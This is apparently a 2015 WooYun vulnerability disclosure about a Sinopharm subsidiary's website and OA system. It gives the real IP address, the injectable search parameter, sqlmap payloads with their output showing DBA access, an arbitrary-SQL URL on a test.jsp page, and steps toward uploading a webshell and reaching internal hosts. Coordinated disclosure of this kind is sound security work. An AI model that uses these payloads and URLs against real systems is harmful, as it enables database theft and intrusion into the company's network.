当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0164618

漏洞标题：国药集团沿海某公司系统多个漏洞打包/getshell/影响多个系统

相关厂商：国药集团

漏洞作者： 路人甲

提交时间：2015-12-25 14:20

修复时间：2016-02-07 17:56

公开时间：2016-02-07 17:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-12-25： 细节已通知厂商并且等待厂商处理中
2015-12-25： 厂商已经确认，细节仅向厂商公开
2016-01-04： 细节向核心白帽子及相关领域专家公开
2016-01-14： 细节向普通白帽子公开
2016-01-24： 细节向实习白帽子公开
2016-02-07： 细节向公众公开

简要描述：

看到有人上了首页，我也来一发打包的，上个首页可好？

详细说明：

目标站点：国药山东有限公司http://58.56.60.68/
主站存在SQL注入，注入点，搜索框：58.56.60.68/FindNews.aspx?KeyWord=山东

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: KeyWord (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: KeyWord=山东%' AND 1878=1878 AND '%'='
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: KeyWord=山东%' AND 1148=CONVERT(INT,(SELECT CHAR(113)+CHAR(118)+CHAR(118)+CHAR(120)+CHAR(113)+(SELECT (CASE WHEN (1148=1148) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(112)+CHAR(122)+CHAR(113)+CHAR(113))) AND '%'='
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: KeyWord=山东%' OR 5207=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND '%'='
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2005
current database:    'db_gykg'
current user is DBA:    True


任意SQL语句执行：

sql-shell> SELECT DB_NAME()
[13:46:10] [INFO] fetching SQL SEL
[13:46:10] [INFO] resumed: db_gykg
SELECT DB_NAME():    'db_gykg'
sql-shell> SELECT name FROM sysobj
[13:46:28] [INFO] fetching SQL SEL
[13:46:42] [INFO] the SQL query us
[13:46:52] [INFO] retrieved: admin
[13:47:04] [INFO] retrieved: admin
[13:47:14] [INFO] retrieved: artic
[13:47:25] [INFO] retrieved: bigcl
[13:47:35] [INFO] retrieved: Custo
[13:47:43] [INFO] retrieved: link
[13:48:26] [CRITICAL] connection t
[13:48:35] [INFO] retrieved: medic
[13:48:49] [INFO] retrieved: Messa
[13:49:06] [INFO] retrieved: partn
[13:49:17] [INFO] retrieved: produ
[13:49:30] [INFO] retrieved: qq
[13:49:41] [INFO] retrieved: quest
[13:49:52] [INFO] retrieved: recru
[13:50:02] [INFO] retrieved: resum
[13:50:12] [INFO] retrieved: site
[13:50:20] [INFO] retrieved: small
[13:50:30] [INFO] retrieved: Sys_C
[13:50:39] [INFO] retrieved: sys_p
[13:50:49] [INFO] retrieved: sys_s
[13:51:00] [INFO] retrieved: userh
[13:51:10] [INFO] retrieved: webpa
SELECT name FROM sysobjects WHERE
[*] admin
[*] admintype
[*] article
[*] bigclass
[*] Customer
[*] link
[*] medicine
[*] Message
[*] partner
[*] products
[*] qq
[*] question
[*] recruitment
[*] resume
[*] site
[*] smallclass
[*] Sys_City
[*] sys_pic
[*] sys_style
[*] userhy
[*] webpage


因为是DBA权限，所以可以getshell。网速太慢不演示了
同服务器还有OA系统，有多个漏洞http://58.56.60.68:8088/yyoa/index.jsp
首先是敏感信息泄露：

gysd6.PNG


gysd7.PNG


接着是任意SQL语句执行：http://58.56.60.68:8088/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20@@datadir

gysd1.PNG


http://58.56.60.68:8088/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20database()

gysd2.PNG


gysd3.PNG


来getshell吧：

gysd4.PNG


然后本地构建上传代码的表单，把webshell代码上传。

gysd5.PNG


美美达照片：

gysd9.PNG


看看域内主机，截图只显示部分，可影响内网多台主机：

gysd8.PNG

漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-12-25 15:49

厂商回复：

我们会尽快修复

最新状态：

暂无

漏洞评价：

评价